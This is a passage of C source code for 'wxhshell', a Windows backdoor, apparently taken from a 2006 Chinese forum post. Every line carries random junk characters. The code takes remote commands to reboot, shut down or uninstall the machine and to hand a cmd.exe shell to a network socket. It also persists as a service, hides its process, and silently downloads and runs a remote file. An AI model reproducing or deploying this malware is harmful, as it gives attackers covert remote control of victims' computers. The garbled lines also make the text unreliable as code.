  // 帮助 > CZ|Vx  
  case '?': { ,_F1g<^@u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -'*B%yy  
    break; N0vr>e`  
  } K*d+pImrV  
  // 安装 Vyf r>pgW1  
  case 'i': { G  ZDyw9  
    if(Install()) 8I$>e (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); */u_RJ  
    else ]wc'h>w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l _dWS9  
    break; 5,Mc` IIK1  
    } ?|w>."F  
  // 卸载 %8DU}}Rj  
  case 'r': { `!K(P- yB?  
    if(Uninstall()) Xt_8=Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kL*  DU`  
    else <V5(5gx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L(fOe3 v  
    break; g\,pZ]0i  
    } >h(n8wTP  
  // 显示 wxhshell 所在路径 +ZQf$@+  
  case 'p': { bLhTgss](  
    char svExeFile[MAX_PATH]; ;wa- \Z  
    strcpy(svExeFile,"\n\r"); l#Ipo5=  
      strcat(svExeFile,ExeFile); 9l]+ rs +  
        send(wsh,svExeFile,strlen(svExeFile),0); Hca vA{H  
    break; }i^]uW*h  
    } B8:G1r5G/  
  // 重启 gp`$/ci  
  case 'b': { ~a^mLnY@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YNRpIhb  
    if(Boot(REBOOT)) Fw)#[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6c$ so  
    else { O&RW[ml*3  
    closesocket(wsh); *:{s|18Pj  
    ExitThread(0); |D~mLs;&  
    } RXxi7^ U  
    break; a`  s2 z  
    } FAX|.!US*p  
  // 关机 sf<S#;aYqn  
  case 'd': { M ~z A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ow:P8K?  
    if(Boot(SHUTDOWN)) :k*'M U}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ub2t7MU  
    else { ="Zr.g~8  
    closesocket(wsh); p.A_,iE  
    ExitThread(0); ,&e0~  
    } w9< <|ZaU  
    break; xQ+UZc  
    } ;|}N\[fk%]  
  // 获取shell K!Te*?b  
  case 's': { 2Tec#eYe  
    CmdShell(wsh); L-? ?%_=  
    closesocket(wsh); zkt`7Pg;J  
    ExitThread(0); -K eoq  
    break; z6)b XL[f  
  } *:gx1wd  
  // 退出 t~]n"zgovz  
  case 'x': { d,8L-pT$FM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' ^E7T'v%  
    CloseIt(wsh); VHyH't_&s  
    break; X'Q?Mh  
    } ]Wr2 IM  
  // 离开 <`rmQ`(}s  
  case 'q': { %A64AJZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KSDz3qe  
    closesocket(wsh); b+Sq[  
    WSACleanup(); `?E|frz[  
    exit(1); `?f6~$1  
    break; +O"!*  
        } Zgy~Y0Di  
  } 10R#} ~D  
  } .);~H#  
>9dzl#  
  // 提示信息 17P5Dr&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q)te/J@  
} E)sC:oO  
  } J=7.-R|t  
h K;9XJAf  
  return; Z*/{^ zsE  
} !l NCuR/T  
-w'  
// shell模块句柄 G\&9.@`k  
int CmdShell(SOCKET sock) mv] .  
{ fE`p  
STARTUPINFO si; IUf&*'_  
ZeroMemory(&si,sizeof(si)); uPCzs$R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V6Z~#=EQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $~7uDq  
PROCESS_INFORMATION ProcessInfo; 3 @ahN2  
char cmdline[]="cmd"; Hi%)TDfv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'F2g2W`  
  return 0; -&q@|h'  
} ;>hRj!  
corNw+|/w  
// 自身启动模式 c"KN;9c,  
int StartFromService(void) dynkb901s  
{ {=K);z  
typedef struct zVt1Ta:j  
{ lCafsIB  
  DWORD ExitStatus; X* 4C?v  
  DWORD PebBaseAddress; I+2#k\y  
  DWORD AffinityMask; #zmt x0  
  DWORD BasePriority; $40G$w  
  ULONG UniqueProcessId; ?vt#M^Q   
  ULONG InheritedFromUniqueProcessId; aa2 vk)~  
}   PROCESS_BASIC_INFORMATION; o8_))  
W(5XcP(  
PROCNTQSIP NtQueryInformationProcess; T<? (KW  
yz}ik^T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OSoIH`t A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LV2#w_^I  
|7%has3"  
  HANDLE             hProcess; ncGt-l<9  
  PROCESS_BASIC_INFORMATION pbi; #`]`gNB0Yg  
ej91)3AO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j]HzI{7y  
  if(NULL == hInst ) return 0; :2t0//@X  
K g6hySb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GFGW'}w-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); izDfpr}s4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m^!Kthq  
0<i8 ;2KD  
  if (!NtQueryInformationProcess) return 0; i?wEd!=w  
>}T}^F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '\B0#z3  
  if(!hProcess) return 0; r 4 $<,~  
rEHlo[7^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e"#QUc(  
niA>afo  
  CloseHandle(hProcess); ($nQmr;t  
a = *'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ztl?*zL  
if(hProcess==NULL) return 0; 'm=TBNQTS  
V8n z@  
HMODULE hMod; VLPPEV-u  
char procName[255]; 2Tp @;[!3  
unsigned long cbNeeded; zMke}2  
aD^jlt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NufRd/q  
="p,~ivrz  
  CloseHandle(hProcess); aT4I sPA?_  
MgO_gFr  
if(strstr(procName,"services")) return 1; // 以服务启动 < ]"Uy p  
bL`># M_^  
  return 0; // 注册表启动 ;nq"jm  
} 8]K+,0m6  
)%q!XM  
// 主模块 FMX ^k  
int StartWxhshell(LPSTR lpCmdLine) ,ZI#p6  
{ |A.nP9hW  
  SOCKET wsl; dVMduo  
BOOL val=TRUE; Sx:JuK@  
  int port=0; `+h+X 9  
  struct sockaddr_in door; mxnu\@}(  
dQn , 0  
  if(wscfg.ws_autoins) Install(); =AcK9?%5  
frokl5L@  
port=atoi(lpCmdLine); 2BKiA[ ;;  
HTLS$o;Q  
if(port<=0) port=wscfg.ws_port; 0"}=A,o(w  
D&o ~4Qvc]  
  WSADATA data; J#IVu?B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z6*r<>Bf+b  
(gRTSd T ?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o2D;EUsNX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *ESi~7;#  
  door.sin_family = AF_INET; ]GT+UX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >*/:"!u  
  door.sin_port = htons(port); w5 #;Lm  
NR,R.N^[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :d6]rOpX  
closesocket(wsl); j.!5&^;u4  
return 1; SoWMP2/  
} !hFzIp  
qZdA%  
  if(listen(wsl,2) == INVALID_SOCKET) { IyEfisOK?  
closesocket(wsl); : HM~!7e  
return 1; .6!cHL3ln  
} bt*  
  Wxhshell(wsl); o@m7@$7  
  WSACleanup(); \[G"/]J  
;qO3m -(d  
return 0; c|@OD3w2lM  
f?r{Q  
} AJ>$`=  
]VR79l  
// 以NT服务方式启动 #<y/m*Ota  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0Bt>JbGs4  
{ eiCmd =O7  
DWORD   status = 0; $O&N  
  DWORD   specificError = 0xfffffff; 9?q ^yy  
Ei<m/v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l,6' S8=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; riF-9 %i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #eF,* d  
  serviceStatus.dwWin32ExitCode     = 0; e(?1`1  
  serviceStatus.dwServiceSpecificExitCode = 0; yIf^vx_G  
  serviceStatus.dwCheckPoint       = 0; A{dqB  
  serviceStatus.dwWaitHint       = 0; {Hie% 2V  
`,O"^zR)z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VnqcpJ  
  if (hServiceStatusHandle==0) return; ?E,-P!&R  
Scug wSB  
status = GetLastError(); Q,M,^_  
  if (status!=NO_ERROR) r0wAh/J|  
{ d;,Jf*x\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B8unF=u  
    serviceStatus.dwCheckPoint       = 0; XqU0AbQ  
    serviceStatus.dwWaitHint       = 0; FJq g,  
    serviceStatus.dwWin32ExitCode     = status; Sz:PeUr9h  
    serviceStatus.dwServiceSpecificExitCode = specificError; +f$ {r7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<QK1d17  
    return; t%%zuqF`  
  } 6-~ZOMlV  
G)?j(El  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rmi&{o:  
  serviceStatus.dwCheckPoint       = 0; R_9M-RP6*  
  serviceStatus.dwWaitHint       = 0; ] *U+nG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #)m [R5g(  
} 62kA(F 0e,  
XTA:Y7"O  
// 处理NT服务事件,比如:启动、停止 KSJ+3_7 ]k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E@%1HO_  
{ L{GlDoFk  
switch(fdwControl) Z<W f/  
{ ;s#I b_  
case SERVICE_CONTROL_STOP: i1X!G|Awfv  
  serviceStatus.dwWin32ExitCode = 0; L8f_^ *,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^hsr/|  
  serviceStatus.dwCheckPoint   = 0; G*=&yx."E  
  serviceStatus.dwWaitHint     = 0; KzX)6 |g{"  
  { i03=Af3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mq}UUk@  
  } uP$i2Cy  
  return;  c_,pd  
case SERVICE_CONTROL_PAUSE: j >`FZKxp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G0kF[8Am  
  break; GO"E>FyB  
case SERVICE_CONTROL_CONTINUE: _>)@6srC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8#R%jjr%T  
  break; G({5LjgW  
case SERVICE_CONTROL_INTERROGATE: QkWEVL@uM  
  break; qY!LzKM0  
}; W4qnXD1n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^$mCF%e8H  
} 4`'Rm/)  
dKP| TRd  
// 标准应用程序主函数 4uH} SG[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RameaFX8  
{ Unansk  
@My RcC  
// 获取操作系统版本 &xvNR=K[`  
OsIsNt=GetOsVer(); E:O/=cT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e\O625  
ADM!4L(s4}  
  // 从命令行安装 P8H2v_)X&  
  if(strpbrk(lpCmdLine,"iI")) Install(); SmRFxqtN  
unRFcjEa  
  // 下载执行文件 J7`;l6+Gb  
if(wscfg.ws_downexe) { 4uh~@Lv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <IBUl}|\  
  WinExec(wscfg.ws_filenam,SW_HIDE); *y(UI/c  
} dQFUQ  
Pf;RJeD  
if(!OsIsNt) { `Ba?4_>k  
// 如果时win9x,隐藏进程并且设置为注册表启动 )iVuac]E++  
HideProc(); _{ 2`sL)  
StartWxhshell(lpCmdLine); kyZZ0  
} |MN2v[y  
else qG2P?DR  
  if(StartFromService()) e|>@ >F]K  
  // 以服务方式启动 QxuU3#l  
  StartServiceCtrlDispatcher(DispatchTable); \F\xZ.r  
else Gm> =s  
  // 普通方式启动 I~E&::,  
  StartWxhshell(lpCmdLine); |Om9(xT  
!s ! el;G  
return 0; KNN$+[_;H4  
}
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只看该作者 1 发表于: 2006-10-10
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